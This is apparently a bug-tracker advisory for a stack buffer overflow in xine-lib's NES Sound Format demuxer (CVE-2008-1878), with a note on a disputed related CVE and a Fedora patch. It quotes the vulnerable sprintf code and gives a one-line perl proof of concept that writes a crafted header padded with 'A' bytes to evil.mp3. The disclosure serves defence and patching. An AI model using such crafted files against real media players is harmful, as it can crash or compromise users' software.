CVE-2008-1878 xine-lib: buffer overflow in nsf demuxer (CVE-2008-1964)
Last modified: 2008-06-19 08:56:30 EDT
Guido Landi reported following xine-lib issue to Full-Disclosure mailing list:
xine-lib <= 1.1.12 is prone to a stack-based buffer overflow in the NES
Sound Format demuxer(demux_nsf.c).
109: this->title = strdup(&header[0x0E]);
122: char title;
162: sprintf(title, "%s, song %d/%d",
this->title, this->current_song, this->total_songs);
- Affected applications
perl -e 'print "\x4E\x45\x53\x4D\x1A\x01\x01\x01\x80\x80\x18\x8A\x03\x8A" .
"\x41" x 114' > evil.mp3
Does not seem to be fixed upstream yet. Overflow is caught by stack protector.

Another issue was reported as affecting nsf demuxer, however, it was disputed as
invalid shortly. CVE id CVE-2008-1964 was assigned anyway:
** DISPUTED **
Stack-based buffer overflow in the demux_nsf_send_headers function in
src/demuxers/demux_nsf.c in xine-lib allows remote attackers to have
an unknown impact via a long copyright field in an NSF header in an
NES Sound file, a different issue than CVE-2008-1878. NOTE: a third
party claims that the copyright field always has a safe length.
xine-lib-1.1.12-CVE-2008-1878.patch applied to Fedora packages adds more
explicit limits on copyright field length.
